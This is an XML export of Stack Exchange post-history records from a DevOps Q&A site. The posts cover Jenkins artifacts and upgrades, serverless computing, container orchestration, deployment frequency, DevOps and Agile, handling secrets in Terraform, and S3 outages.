  <row Id="152" PostHistoryTypeId="5" PostId="17" RevisionGUID="26b8fbe1-501a-46ee-ac53-4b2fb4b00f5c" CreationDate="2017-02-28T17:40:01.790" UserId="3" Comment="Expands" Text="I'd like to download an artifact file using Jenkins CI. How can I do it? Do I need a plugin to do this?&#xD;&#xA;&#xD;&#xA;I know that I can run `curl` or `wget` using *Execute shell* in Build config. Is there any more efficient way of doing it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="153" PostHistoryTypeId="2" PostId="61" RevisionGUID="e5a1be76-0aa4-497a-a1be-6699c4942e47" CreationDate="2017-02-28T17:41:06.440" UserId="6" Text="All the cloud providers are marketing their &quot;serverless&quot; solutions. The promise is that serverless is going to replace the way developers are currently develop their software, and operations manage it in production.&#xD;&#xA;&#xD;&#xA;What is &quot;serverless&quot;?&#xD;&#xA;Where can one learn more about it, and how it can be used today?" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostHistoryTypeId="1" PostId="61" RevisionGUID="e5a1be76-0aa4-497a-a1be-6699c4942e47" CreationDate="2017-02-28T17:41:06.440" UserId="6" Text="What is Serverless?" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostHistoryTypeId="3" PostId="61" RevisionGUID="e5a1be76-0aa4-497a-a1be-6699c4942e47" CreationDate="2017-02-28T17:41:06.440" UserId="6" Text="&lt;serverless&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostHistoryTypeId="2" PostId="63" RevisionGUID="fa8bec5b-6542-49b1-86e4-88079c381932" CreationDate="2017-02-28T17:42:50.790" UserId="40" Text="In addition to the list in the previous answer, there is also the plugin that [integrates Serena Dimensions CM with Jenkins][1]. Some more details about this plugin (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; The plugin allows a Jenkins job to be associated with a [Serena Dimensions CM][2] stream or project, automatically updating the Jenkins workspace with file content from the Dimensions CM repository.&#xD;&#xA;&#xD;&#xA;&gt; The plugin currently supports&#xD;&#xA;&#xD;&#xA;&gt; - Polling&#xD;&#xA;&gt; - Checkout&#xD;&#xA;&gt; - Build change log reporting&#xD;&#xA;&gt; - Tagging&#xD;&#xA;&gt; - Artifact Upload&#xD;&#xA;&gt; - Tag Deployment&#xD;&#xA;&gt; - Launching Tagged Builds via Dimensions Builder&#xD;&#xA;&#xD;&#xA;**Video tutorial**: [Dimensions CM: Jenkins Plugin Tutorial][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Dimensions+Plugin&#xD;&#xA;  [2]: http://www.serena.com/dimensions-cm&#xD;&#xA;  [3]: https://www.youtube.com/watch?v=XquDJT90M9I" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostHistoryTypeId="2" PostId="64" RevisionGUID="f670b103-cae7-4cc1-bae8-7f19d5403bb7" CreationDate="2017-02-28T17:44:34.687" UserId="72" Text="Your use of the term &quot;devops&quot; suggests that you see it as a role.  I humbly suggest that developers that are part of a Scrum team aren't called &quot;Agiles,&quot; so DevOps practitioners aren't &quot;devops.&quot; :)&#xD;&#xA;&#xD;&#xA;Release management is absolutely part of DevOps.  It's one of several specialty engineering roles.  Staffing for the skill of release management varies widely from one company to the next.  The size of the company, the industry, and the size of the IT department all influence how (and if) that skill is isolated to a person, a team, or distributed across IT.&#xD;&#xA;&#xD;&#xA;Organizations of medium to large size tend to have dedicated staff that understand the practice and tooling of Continuous Integration.  This includes some systems admin skills, and increasingly includes development skills, at least scripting.  The growth of Infrastructure as Code as a practice is blurring the lines between release managers and developers.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostHistoryTypeId="2" PostId="65" RevisionGUID="668b659d-fbd6-4a80-b209-5a11fdf81b08" CreationDate="2017-02-28T17:44:59.933" UserId="3" Text="I have a job which is running very frequently, so I'd like to avoid high number of builds. Is there any way to drop job build numbers, so the job is constantly ran, but without high numbers of builds?" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostHistoryTypeId="1" PostId="65" RevisionGUID="668b659d-fbd6-4a80-b209-5a11fdf81b08" CreationDate="2017-02-28T17:44:59.933" UserId="3" Text="Is it possible to build Jenkins jobs without using build numbers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostHistoryTypeId="3" PostId="65" RevisionGUID="668b659d-fbd6-4a80-b209-5a11fdf81b08" CreationDate="2017-02-28T17:44:59.933" UserId="3" Text="&lt;jenkins&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostHistoryTypeId="2" PostId="66" RevisionGUID="714b92b6-3384-4d67-ae5d-157cc1620b7e" CreationDate="2017-02-28T17:46:10.073" UserId="3" Text="On *Manage Jenkins* I've a message that:&#xD;&#xA;&#xD;&#xA;&gt; New version of Jenkins (2.47) is available for download (changelog).&#xD;&#xA;&#xD;&#xA;Is there any way of upgrading Jenkins from the GUI similar as it's done for the plugins?&#xD;&#xA;&#xD;&#xA;I'm using Jenkins ver. 2.43 on Linux." ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostHistoryTypeId="1" PostId="66" RevisionGUID="714b92b6-3384-4d67-ae5d-157cc1620b7e" CreationDate="2017-02-28T17:46:10.073" UserId="3" Text="Is it possible to upgrade Jenkins from Jenkins it-self?" ContentLicense="CC BY-SA 3.0" />
  <row Id="165" PostHistoryTypeId="3" PostId="66" RevisionGUID="714b92b6-3384-4d67-ae5d-157cc1620b7e" CreationDate="2017-02-28T17:46:10.073" UserId="3" Text="&lt;jenkins&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostHistoryTypeId="2" PostId="67" RevisionGUID="ac3f6159-4456-458b-8dc4-169ef5ea6d74" CreationDate="2017-02-28T17:47:48.697" UserId="6" Text="Every company who has anything to do with containers these days, including public cloud providers, is creating their own solution for container orchestration.&#xD;&#xA;&#xD;&#xA;These include:&#xD;&#xA;&#xD;&#xA;- [Kubernetes][1]&#xD;&#xA;- [Docker Swarm][2]&#xD;&#xA;- [Amazon EC2 Container Service][3]&#xD;&#xA;- [Apache Mesos][4]&#xD;&#xA;- [Mesosphere DCOS][5]&#xD;&#xA;- [HashiCorp Nomad][6]&#xD;&#xA;&#xD;&#xA;... and more&#xD;&#xA;&#xD;&#xA;What are the common problems with containers that must be solved by these orchestration solutions? What is the benefit of adding such a complex system in your production?&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://www.docker.com/products/docker-swarm&#xD;&#xA;  [3]: https://aws.amazon.com/ecs/&#xD;&#xA;  [4]: http://mesos.apache.org/&#xD;&#xA;  [5]: https://mesosphere.com/product/&#xD;&#xA;  [6]: https://www.nomadproject.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostHistoryTypeId="1" PostId="67" RevisionGUID="ac3f6159-4456-458b-8dc4-169ef5ea6d74" CreationDate="2017-02-28T17:47:48.697" UserId="6" Text="Which problems does a container orchestration solve?" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostHistoryTypeId="3" PostId="67" RevisionGUID="ac3f6159-4456-458b-8dc4-169ef5ea6d74" CreationDate="2017-02-28T17:47:48.697" UserId="6" Text="&lt;containers&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostHistoryTypeId="5" PostId="54" RevisionGUID="372f87d8-bb00-409a-b75c-9322de264232" CreationDate="2017-02-28T17:47:49.170" UserId="10" Comment="better explain the question." Text="My team is currently trying to decide if we should deploy our nodejs app as a deb package instead of trying to run it in a container like docker.&#xD;&#xA;&#xD;&#xA;This blog [here][1] makes some good arguments for using a deb package for a pre-existing python application.&#xD;&#xA;&#xD;&#xA;The main reasons why Docker was discouraged was:  &#xD;&#xA;&gt; - Our kernel version (3.2) did not natively support Docker, and we felt&#xD;&#xA;   that upgrading the kernel just to ship code faster was an overkill&#xD;&#xA;   solution.  &#xD;&#xA;-   Distributing Docker images within a private network also requires a separate service which we would need to configure, test, and maintain.  &#xD;&#xA;-  Converting our ansible setup automation to a Dockerfile&#xD;&#xA;   would be painful and require a lot of ugly hacks with our logging&#xD;&#xA;   configuration, user permissions, secrets management, etc.  &#xD;&#xA;&#xD;&#xA;The benefits listed of using deb-package instead of docker are:  &#xD;&#xA;  &#xD;&#xA; - Uses a workflow already known to the team.&#xD;&#xA; - Easy to roll back versions with small deploy scripts.&#xD;&#xA; - venv already works as a type of container&#xD;&#xA; - Less systems to maintain.&#xD;&#xA;&#xD;&#xA;However, what are the drawbacks if creating a new project from scratch in another language such as NodeJs or Ruby?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nylas.com/blog/packaging-deploying-python/" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostHistoryTypeId="2" PostId="68" RevisionGUID="00c84985-eb10-4271-b63c-34e4f1cda1a1" CreationDate="2017-02-28T17:50:01.613" UserId="72" Text="Martin Fowler has a good overview:  &#xD;&#xA;https://martinfowler.com/articles/serverless.html&#xD;&#xA;&#xD;&#xA;**TL;DR**  &#xD;&#xA;&quot;Serverless&quot; describes application development and architecture that designs applications in which the infrastructure is *ephemeral*, meaning that they tend to be container-based and can &quot;come and go&quot; based on a dynamic scaling mechanism.  This prescribes the use of stateless architectures that depend on distributed technologies (such as key/value stores.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostHistoryTypeId="5" PostId="52" RevisionGUID="85112c17-aabb-416e-8f56-dc041178c43e" CreationDate="2017-02-28T17:51:54.793" UserId="45" Comment="added 200 characters in body" Text="Number of commits.&#xD;&#xA;&#xD;&#xA;Jenkins is a fork of Hudson (as commented [here](http://devops.stackexchange.com/questions/7/why-has-hudson-been-renamed-to-jenkins)) but has a more active development, Hudson's [last commit](http://git.eclipse.org/c/hudson/org.eclipse.hudson.core.git/log/) is quite old. And look at Hudson's [open bugs](https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=&amp;product=Hudson&amp;query_format=advanced)" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostHistoryTypeId="2" PostId="69" RevisionGUID="86051c4c-121e-4180-b7b4-9921d9b6c164" CreationDate="2017-02-28T17:52:00.367" UserId="6" Text="Companies such as Amazon, Etsy, Google, Facebook and others are publicly saying they deploy software thousands time per day.&#xD;&#xA;&#xD;&#xA;What are they doing that is so different from other companies?&#xD;&#xA;How can other software companies deploy software thousands times per day, what is stopping them from doing so today?" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostHistoryTypeId="1" PostId="69" RevisionGUID="86051c4c-121e-4180-b7b4-9921d9b6c164" CreationDate="2017-02-28T17:52:00.367" UserId="6" Text="How to deploy software every second?" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostHistoryTypeId="3" PostId="69" RevisionGUID="86051c4c-121e-4180-b7b4-9921d9b6c164" CreationDate="2017-02-28T17:52:00.367" UserId="6" Text="&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostHistoryTypeId="2" PostId="70" RevisionGUID="14859e78-3432-4985-9fcc-d24e38d0f37e" CreationDate="2017-02-28T17:55:54.430" UserId="14" Text="Wikipedia's article on [serverless computing](https://en.wikipedia.org/wiki/Serverless_computing) provides a decent introduction to the topic:&#xD;&#xA;&#xD;&#xA;&gt; Serverless computing, also known as function as a service (FaaS), is a cloud computing code execution model in which the cloud provider fully manages starting and stopping of a function's container platform as a service (PaaS) as necessary to serve requests, and requests are billed by an abstract measure of the resources required to satisfy the request, rather than per virtual machine, per hour.&#xD;&#xA;&#xD;&#xA;The idea is that a developer **shouldn't need to care about the server infrastructure at all**. The cloud provider manages the physical servers, the operating system used and all the traditional difficulties involved with running a server.&#xD;&#xA;&#xD;&#xA;Serverless computing changes your architecture from thinking about what **machines** are doing to what **functions** are doing. [AWS Lambda](https://aws.amazon.com/lambda/) is the example that comes to mind - you pay for and run **functions**, without any mention about what type of physical infrastructure is running below.&#xD;&#xA;&#xD;&#xA;There are quite a few advantages to serverless (although you do need to write in a slightly different way than you're used to in some cases, because it's a totally different architecture):&#xD;&#xA;&#xD;&#xA;- Scalability essentially comes for free - because you're just paying to run a function, the cloud provider can easily dedicate more hardware as needed to run your code.&#xD;&#xA;&#xD;&#xA;- The server software and hardware no longer needs to be managed by a developer - the cloud provider handles that. If you've ever used something like Arch on a server, you'll know how easy it is to wipe out a critical package and break everything!&#xD;&#xA;&#xD;&#xA;- It frees up developers to focus on what they're good at - **code**. Most developers probably won't be great at both server infrastructure **and** programming - serverless just takes one problem out of the equation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostHistoryTypeId="2" PostId="71" RevisionGUID="e5d637b9-7cd5-4e72-a40e-63917447226a" CreationDate="2017-02-28T17:56:10.500" UserId="6" Text="The DevOps Report by Puppet labs states that &quot;devopsy&quot; companies have 3x times lower failure rate. While other companies must have a fairly regular rate of failures from deployments to production.&#xD;&#xA;&#xD;&#xA;What are the companies who have very low failure rates do differently?&#xD;&#xA;How can other companies mimic such decrease in failures of changes in their production (and other) environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostHistoryTypeId="1" PostId="71" RevisionGUID="e5d637b9-7cd5-4e72-a40e-63917447226a" CreationDate="2017-02-28T17:56:10.500" UserId="6" Text="How to prevent failure from introduced changes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostHistoryTypeId="3" PostId="71" RevisionGUID="e5d637b9-7cd5-4e72-a40e-63917447226a" CreationDate="2017-02-28T17:56:10.500" UserId="6" Text="&lt;deployment&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostHistoryTypeId="10" PostId="6" RevisionGUID="e7d823ac-2318-4722-baf6-052a3abf7bd2" CreationDate="2017-02-28T17:57:40.827" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:105,&quot;DisplayName&quot;:&quot;BlackVegetable&quot;}]}" />
  <row Id="181" PostHistoryTypeId="2" PostId="72" RevisionGUID="0190b85c-2af0-4ef4-b470-f1fa1df780bc" CreationDate="2017-02-28T17:58:45.133" UserId="72" Text="The &quot;how&quot; of extremely high-frequency deployment is all about *very* mature engineering practices and tooling.  The &quot;unicorns&quot; (Gene Kim's term for the type of company you list) have some of the best talent in the industry, and invest in the best technology.&#xD;&#xA;&#xD;&#xA;One of several key practical differences between these unicorns and most other orgs is the level of automation they employ.  It is very difficult to automate the quality checks needed to maintain a constant flow of work from DEV, through testing environments, to Production.  Development *and* Operations must maintain high service levels internally.  Ops must provide self-service resources so developers aren't waiting on tickets to get new infrastructure." ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostHistoryTypeId="2" PostId="73" RevisionGUID="1088ad0d-1e54-421c-b5c0-7b7b2f563e51" CreationDate="2017-02-28T18:00:24.067" UserId="6" Text="[Agile][1] has been around for quite a while. And several offspring came out of it, such as [Extreme Programming][2], [Scrum][3], [Lean Software Development][4] and others.&#xD;&#xA;&#xD;&#xA;Isn't DevOps just another offspring of Agile?&#xD;&#xA;Is there any substantial difference between DevOps and Agile?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Extreme_programming&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Scrum_(software_development)&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Lean_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostHistoryTypeId="1" PostId="73" RevisionGUID="1088ad0d-1e54-421c-b5c0-7b7b2f563e51" CreationDate="2017-02-28T18:00:24.067" UserId="6" Text="How is DevOps related to Agile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostHistoryTypeId="3" PostId="73" RevisionGUID="1088ad0d-1e54-421c-b5c0-7b7b2f563e51" CreationDate="2017-02-28T18:00:24.067" UserId="6" Text="&lt;agile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostHistoryTypeId="2" PostId="74" RevisionGUID="e1de6cab-5ed5-4efa-b51f-7c8b609af44d" CreationDate="2017-02-28T18:01:20.537" UserId="13" Text="Not exactly a full answer, but you need mostly three things:&#xD;&#xA;&#xD;&#xA; - Automation of the delivery pipeline (Continuous Delivery)&#xD;&#xA; - A very, very strong test system (including canary release)&#xD;&#xA; - Good coding practices to ensure versions can run concurrently on the same environment.&#xD;&#xA;&#xD;&#xA;This usually include tooling for code review, code linting, unit testing, orchestration, configuration management, integration testing and a strong culture for the change." ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostHistoryTypeId="2" PostId="75" RevisionGUID="48e1f969-e25b-4ebd-bde8-b0aa3681d65d" CreationDate="2017-02-28T18:05:26.190" UserId="3" Text="These big companies are using unconventional solutions, such as the BitTorrent deployment system and geographically distributed content delivery networks (CDNs). When Facebook updates its code or generates a new build, the binary files needs be pushed to all of the company's servers (~1.5GB), so they created its own custom BitTorrent tracker designed to obtain data slices from other servers that are on the same node/rack which reduces total latency.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [Exclusive: a behind-the-scenes look at Facebook release engineering][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Facebook deployment takes the following steps:&#xD;&#xA;&#xD;&#xA;&gt; 1. Update goes to an &quot;a2&quot;  tier which rolls update out to a small, random collection of users.&#xD;&#xA;&gt; 1. Check-in procedure on company IRC where all developers who submitted code for the update have confirm that they are ready to&#xD;&#xA;&gt; respond if there is a problem when the update goes out.&#xD;&#xA;&gt; 1. Head of release engineering issues command in terminal to begin deployment&#xD;&#xA;&gt; 1. Watch web-based monitoring dashboards as the update rolls out.&#xD;&#xA;&#xD;&#xA;Frequency of deployments is one minor update on most business days, one major update on a weekly basis.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [How Facebook Does Deployment][2]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://arstechnica.com/business/2012/04/exclusive-a-behind-the-scenes-look-at-facebook-release-engineering/&#xD;&#xA;  [2]: https://dzone.com/articles/how-facebook-does-deployment" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostHistoryTypeId="10" PostId="69" RevisionGUID="560b2a32-3dcd-4193-b4db-83fb0491e0e1" CreationDate="2017-02-28T18:08:55.413" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;}]}" />
  <row Id="193" PostHistoryTypeId="2" PostId="77" RevisionGUID="40bd8a68-0da1-473a-a732-e58ae3496121" CreationDate="2017-02-28T18:11:52.897" UserId="72" Text="I would say that DevOps is a *peer* of Agile, not a child.  Agile methods apply largely within software development.  DevOps, by contrast, applies the same Lean Manufacturing/Lean IT concepts *across the software delivery lifecycle,*  which begins with the business and ends with business value delivered (code running in Production.)&#xD;&#xA;&#xD;&#xA;I believe, after some thought on the subject, that there is also a dependent relationship between Agile and DevOps.  DevOps is intensely focused on automation.  There is limited benefit in automating a process that executes infrequently.  Waterfall development methods are a perfect example of a slow, infrequent process.  &#xD;&#xA;&#xD;&#xA;Agile methods are focused on maintaining a constant flow of work through Development.  This is a perfect, natural fit for DevOps, which keeps that flow going all the way from the business to the end state, which is code running *in Production.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostHistoryTypeId="2" PostId="78" RevisionGUID="1ca28ed6-2a88-4dd5-be2c-efc538e22836" CreationDate="2017-02-28T18:13:00.413" UserId="3" Text="There is a popular phrase: &quot;Release early and often.&quot; (see [web results][1]). Where does this phrase come from?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://duckduckgo.com/?q=%22Release%20early%20and%20often.%22" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostHistoryTypeId="1" PostId="78" RevisionGUID="1ca28ed6-2a88-4dd5-be2c-efc538e22836" CreationDate="2017-02-28T18:13:00.413" UserId="3" Text="What is the origin of &quot;Release early and often&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostHistoryTypeId="3" PostId="78" RevisionGUID="1ca28ed6-2a88-4dd5-be2c-efc538e22836" CreationDate="2017-02-28T18:13:00.413" UserId="3" Text="&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostHistoryTypeId="2" PostId="79" RevisionGUID="825ba1ed-ca67-4f78-9bf3-4dedc1e7f515" CreationDate="2017-02-28T18:14:01.187" UserId="36" Text="I would like to use the terraform [mysql provider][1] to keep a list of mysql users and grants handy for creating new test environments. The .tf and .tfstate files both seem to want to store the mysql passwords in plaintext.&#xD;&#xA;&#xD;&#xA;**Concerning .tf:**&#xD;&#xA;&#xD;&#xA;It is my understanding that .tf files live in revision control and are maintained by a team.  How does that practice differ when secrets are in the .tf? It is possible to encrypt these values at all?&#xD;&#xA;&#xD;&#xA;**Concerning .tfstate:**&#xD;&#xA;&#xD;&#xA;I can store the .tfstate securely somewhere after running terraform apply, but it would be preferable for this use case to not store it at all?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/mysql/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostHistoryTypeId="1" PostId="79" RevisionGUID="825ba1ed-ca67-4f78-9bf3-4dedc1e7f515" CreationDate="2017-02-28T18:14:01.187" UserId="36" Text="How can I manage secrets in .tf and .tfstate?" ContentLicense="CC BY-SA 3.0" />
  <row Id="199" PostHistoryTypeId="3" PostId="79" RevisionGUID="825ba1ed-ca67-4f78-9bf3-4dedc1e7f515" CreationDate="2017-02-28T18:14:01.187" UserId="36" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostHistoryTypeId="2" PostId="80" RevisionGUID="9d7e65e9-75f6-496e-82f7-ce429fe263c2" CreationDate="2017-02-28T18:17:55.417" UserId="6" Text="One of the earliest references to this term originate in Jim McCarthy's book [Dynamics of Software Development][1]. This term seems to also be embedded in the Lean Startup movement, which built upon ideas in [Lean Manufacturing][2], [TRIZ][3], and other sources explaining how to evaluate an experimental product and check if it fits the market before investing too much effort in its completion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.com/dp/1556158238&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Lean_manufacturing&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/TRIZ" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostHistoryTypeId="2" PostId="81" RevisionGUID="73ebc9df-d9e5-4513-9bf6-b5807751945a" CreationDate="2017-02-28T18:20:41.153" UserId="24" Text="Eric S. Raymond is credited with popularizing &quot;Release Early, Release Often&quot; in his essay [&quot;The Cathedral and the Bazaar&quot;][1] where he credits Linus Torvalds as using that approach in the development of Linux to it's success.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/~esr/writings/cathedral-bazaar/cathedral-bazaar/ar01s04.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostHistoryTypeId="10" PostId="3" RevisionGUID="676c22d0-a1a5-44ff-81b3-2f6d27b3bead" CreationDate="2017-02-28T18:20:52.703" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:48,&quot;DisplayName&quot;:&quot;Veve&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:72,&quot;DisplayName&quot;:&quot;Dave Swersky&quot;}]}" />
  <row Id="204" PostHistoryTypeId="5" PostId="59" RevisionGUID="3adcdf5d-4ba6-454d-8ae7-b1a29314648d" CreationDate="2017-02-28T18:21:18.853" UserId="3" Comment="Clarifies a bit more." Text="I'd like to deploy files using Travis CI and it only works for a tagged commit. When committing to the branch, there is a warning:&#xD;&#xA;&#xD;&#xA;&gt; Skipping a deployment with the releases provider because this is not a tagged commit.&#xD;&#xA;&#xD;&#xA;Is there any way to deploy on branched commit using Travis CI?&#xD;&#xA;&#xD;&#xA;To clarify, it works when I tag the commit, but I'd like to deploy files on each commit for the given branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostHistoryTypeId="2" PostId="83" RevisionGUID="316b3a1e-7491-423e-9e4c-7afeb1afc311" CreationDate="2017-02-28T18:29:23.937" UserId="91" Text="What is a good strategy to keep my site online when S3 goes offline?&#xD;&#xA;&#xD;&#xA;If S3 US East 1 goes offline, how should I have my app configured/structured to prevent that taking my entire site offline?&#xD;&#xA;&#xD;&#xA;What are the best strategies to diversify in this sort of situation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostHistoryTypeId="1" PostId="83" RevisionGUID="316b3a1e-7491-423e-9e4c-7afeb1afc311" CreationDate="2017-02-28T18:29:23.937" UserId="91" Text="What is a good strategy to keep my site online when S3 goes offline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostHistoryTypeId="3" PostId="83" RevisionGUID="316b3a1e-7491-423e-9e4c-7afeb1afc311" CreationDate="2017-02-28T18:29:23.937" UserId="91" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostHistoryTypeId="2" PostId="84" RevisionGUID="9e3cfc02-ebaf-42da-9090-db23a32873c4" CreationDate="2017-02-28T18:29:29.397" UserId="114" Text="DevOps and agile aren't same thing but they are complimentary to each other. Agile development is development that adheres to the principles stated in [The Agile Manifesto][1]. In brief, agile is the word for an environment in which the priorities, according to the authors of the manifesto, are-&#xD;&#xA;&#xD;&#xA;- Individuals and interactions over processes and tools&#xD;&#xA;- Working software over comprehensive documentation&#xD;&#xA;- Customer collaboration over contract negotiation and&#xD;&#xA;- Responding to change over following a plan.&#xD;&#xA;&#xD;&#xA;The point of DevOps is to deliver technology to business units in a timely fashion and ensure the technology runs without interruption or disruption. To achieve it's goal DevOps mostly focus on-&#xD;&#xA;&#xD;&#xA; - deep communication between software development and IT operational groups &#xD;&#xA; - automated deployment processes&#xD;&#xA;&#xD;&#xA;Below are list of relation/differences with agile and DevOps-&#xD;&#xA;&#xD;&#xA;- Agile software development is a methodology for developing software, but DevOps, on the other hand, is all about taking software which is ready for release and deploying it in the safest, most reliable manner possible.&#xD;&#xA;- Agile is all about development. Sometimes, it takes over the entire company. Even when it does, agile discipline doesn't inevitably lead to DevOps. The practice of DevOps involves a separate discipline and methodology from those of agile.&#xD;&#xA;- Agile practices, like Continuous Delivery practices, can be part of a DevOps activities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://agilemanifesto.org/principles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostHistoryTypeId="2" PostId="85" RevisionGUID="600ddc7b-d358-4c4e-a1c3-f9c4058bbb0f" CreationDate="2017-02-28T18:32:29.553" UserId="6" Text="In March 2015 Amazon AWS announced they support S3 replication across regions. When a certain region in S3 goes offline, you can serve files from your mirror in another region.&#xD;&#xA;&#xD;&#xA;Announcement -&#xD;&#xA;https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostHistoryTypeId="2" PostId="86" RevisionGUID="d290a429-b8d8-4e7f-996a-c82543d36daa" CreationDate="2017-02-28T18:37:17.800" UserId="91" Text="What is the difference between SRE and DevOps?&#xD;&#xA;&#xD;&#xA;Site Reliability Engineering and Development Operations seem to overlap a lot in detail. How do I know which group is responsible for what, and how do I know what jobs would be appropriate for my skillset?&#xD;&#xA;&#xD;&#xA;It seems like SRE is about maintaining servers and network, and DevOps is about maintaining code, is that correct? Isn't there still a fair amount of overlap between those two?" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostHistoryTypeId="1" PostId="86" RevisionGUID="d290a429-b8d8-4e7f-996a-c82543d36daa" CreationDate="2017-02-28T18:37:17.800" UserId="91" Text="What is the difference between SRE and DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostHistoryTypeId="3" PostId="86" RevisionGUID="d290a429-b8d8-4e7f-996a-c82543d36daa" CreationDate="2017-02-28T18:37:17.800" UserId="91" Text="&lt;sre&gt;&lt;job-role&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="217" PostHistoryTypeId="2" PostId="87" RevisionGUID="7ee6a868-b129-4d72-ac5a-52eaea0b1cd4" CreationDate="2017-02-28T18:37:25.087" UserId="3" Text="I've freestyle jobs which aims to run EC2 instances, however when I cancel the job manually (by clicking X button), the instances on EC2 are still running. How can I make sure that the instances are terminated when the job is cancelled?" ContentLicense="CC BY-SA 3.0" />
